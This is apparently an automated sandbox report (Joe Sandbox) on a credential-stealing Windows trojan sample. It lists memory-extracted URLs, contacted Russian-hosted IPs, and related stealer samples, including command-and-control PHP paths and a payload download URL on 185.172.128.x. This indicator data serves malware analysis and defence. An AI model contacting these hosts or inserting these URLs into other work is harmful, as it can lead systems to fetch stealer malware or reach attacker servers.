https://dc.services.visualstudio.com/f	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	false		high
https://profiler.monitor.azure.com/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/jsonschema	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	false		high
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe	ioloDMLog.txt.4.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe.6-	u5e0.3.exe, 00000004.00000003.2051507864.0000000002694000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://westus2-2.in.applicationinsights.azure.com/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iolo.com/company/legal/eula/?	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://185.172.128.76	u5e0.0.exe, 00000001.00000002.2121124072.00000000041CE000.00000004.00000020.00020000.00000000.sdmp	true	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://dejavu.sourceforge.net/wiki/index.php/License	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.p	u5e0.0.exe, 00000001.00000002.2162175717.000000002A805000.00000004.00000020.00020000.00000000.sdmp	true	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.php~3	u5e0.0.exe, 00000001.00000002.2121225212.0000000004227000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scripts.sil.org/OFLThis	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	u5e0.0.exe, 00000001.00000003.1931968008.000000002AA6B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/itfoundry/Poppins)&&&&z	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/itfoundry/Poppins)	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4163654716.0000028F42692000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.phpB	u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://snapshot.monitor.azure.com/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://westus2-2.in.applicationinsights.azure.com	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F25641000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F255E3000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F2591F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/itfoundry/Poppins)&&&&v	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.phpF	u5e0.0.exe, 00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/3cd2b41cbde8fc9c.phpts	u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.iolo.com/company/legal/eula/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/json	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	false		high
https://westus2-2.in.applicationinsights.azure.com/v2/track	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp, u5e0.0.exe, 00000001.00000003.1756244413.000000002470D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.76/3cd2b41cbde8fc9c.php4	u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://google.com	H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	false		high
https://dc.services.visualstudio.com/v2/track	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.codeplex.com/prism	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4137623538.0000028F3DA90000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://taskscheduler.codeplex.com/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	run.exe.0.dr	false		high
https://westus2-2.in.applicationinsights.azure.com/;LiveEndpoint=https://westus2.livediagnostics.mon	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F251C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://compositewpf.codeplex.com/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4137623538.0000028F3DA90000.00000004.08000000.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	u5e0.0.exe, 00000001.00000003.1760085529.0000000004296000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0D	H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005DEC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dc.services.visualstudio.com/Jhttps://rt.services.visualstudio.com/Fhttps://profiler.monitor	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	false		high
http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/Lic	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp	false		high
https://rt.services.visualstudio.com/	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4106130896.0000028F253EE000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.172.128.90	unknown	Russian Federation	50916	NADYMSS-ASRU	true
185.172.128.228	unknown	Russian Federation	50916	NADYMSS-ASRU	false
20.157.87.45	svc.iolo.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.172.128.76	unknown	Russian Federation	50916	NADYMSS-ASRU	true
176.97.76.106	note.padd.cn.com	United Kingdom	43658	INTRAFFIC-ASUA	false
185.172.128.59	unknown	Russian Federation	50916	NADYMSS-ASRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430194
Start date and time:	2024-04-23 09:37:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	H6ohQMZygb.exe renamed because original name is a hash value
Original Sample Name:	12f1dc2d004da9525abe233313a1aa67.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/57@12/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 84% Number of executed functions: 117 Number of non-executed functions: 239
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212, 20.9.155.150, 20.42.65.92, 20.9.155.145, 20.9.155.148
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, gig-ai-prod-westus2-0.trafficmanager.net, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, gig-ai-prod-wus2-02-app-v4-tag.westus2.cloudapp.azure.com, gig-ai-prod-wus2-01-app-v4-tag.westus2.cloudapp.azure.com, gig-ai-prod-wus2-0-app-v4-tag.westus2.cloudapp.azure.com, umwatson.events.data.microsoft.com, download.iolo.net
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:38:27	API Interceptor	2x Sleep call for process: WerFault.exe modified
09:38:38	API Interceptor	12798531x Sleep call for process: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.172.128.90	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=eight&s=ab&sub=0
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0
	V9TdcUeNlV.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=eight&s=ab&sub=0
	JARlqZLmeA.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	YQnYpHhUfM.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=eight&s=ab&sub=0
185.172.128.228	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	V9TdcUeNlV.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	JARlqZLmeA.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
	YQnYpHhUfM.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.228/BroomSetup.exe
20.157.87.45	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	svc.iolo.com/__svc/sbv/DownloadManager.ashx
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	svc.iolo.com/__svc/sbv/DownloadManager.ashx
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	svc.iolo.com/__svc/sbv/DownloadManager.ashx
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	svc.iolo.com/__svc/sbv/DownloadManager.ashx
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	svc.iolo.com/__svc/sbv/DownloadManager.ashx
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	svc.iolo.com/__svc/sbv/DownloadManager.ashx
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	svc.iolo.com/__svc/sbv/DownloadManager.ashx
	V9TdcUeNlV.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	svc.iolo.com/__svc/sbv/DownloadManager.ashx
	JARlqZLmeA.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	svc.iolo.com/__svc/sbv/DownloadManager.ashx
	YQnYpHhUfM.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	svc.iolo.com/__svc/sbv/DownloadManager.ashx

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
svc.iolo.com	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	V9TdcUeNlV.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	JARlqZLmeA.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	YQnYpHhUfM.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
note.padd.cn.com	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	V9TdcUeNlV.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	JARlqZLmeA.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	YQnYpHhUfM.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	4JgB4mYxvJ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	q27UFusYdn.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	ipR98bCqps.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	WF2R8Bsptu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	5F25UVdGxt.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
MICROSOFT-CORP-MSN-AS-BLOCKUS	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	anuwhqTXGt.dll	Get hash	malicious	Unknown	Browse	168.61.215.74
	Gam.xls	Get hash	malicious	Unknown	Browse	13.107.246.40
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	https://url.avanan.click/v2/___https:/novafr-my.sharepoint.com/:b:/g/personal/mfranco_nova-fr_org/EZPaIwPkDApNno6rWIAO20YB4ByiRCAe_VGScx-2iiONBw?e=magUuY/___.YXAzOmVuLW1kYTphOm86ZDA4MDI5MGVhZTA1MzJiMWZlYTg0YjE1OWE2NmVhNjc6NjplYTNkOjc2NzNkYWE0NTMzNWVhMjkxM2VjMGU1NGMyNDY3ZjVhNmJhNjU0MTk1ZmRjMzUzM2QxODAyNDVjY2E1Y2M1ODY6aDpU	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
NADYMSS-ASRU	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	4JgB4mYxvJ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	q27UFusYdn.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	ipR98bCqps.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	WF2R8Bsptu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	5F25UVdGxt.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
INTRAFFIC-ASUA	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	V9TdcUeNlV.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	JARlqZLmeA.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
	YQnYpHhUfM.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	176.97.76.106
NADYMSS-ASRU	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	4JgB4mYxvJ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	q27UFusYdn.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	ipR98bCqps.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.76
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	WF2R8Bsptu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	5F25UVdGxt.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.111
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.59
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	185.172.128.59

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
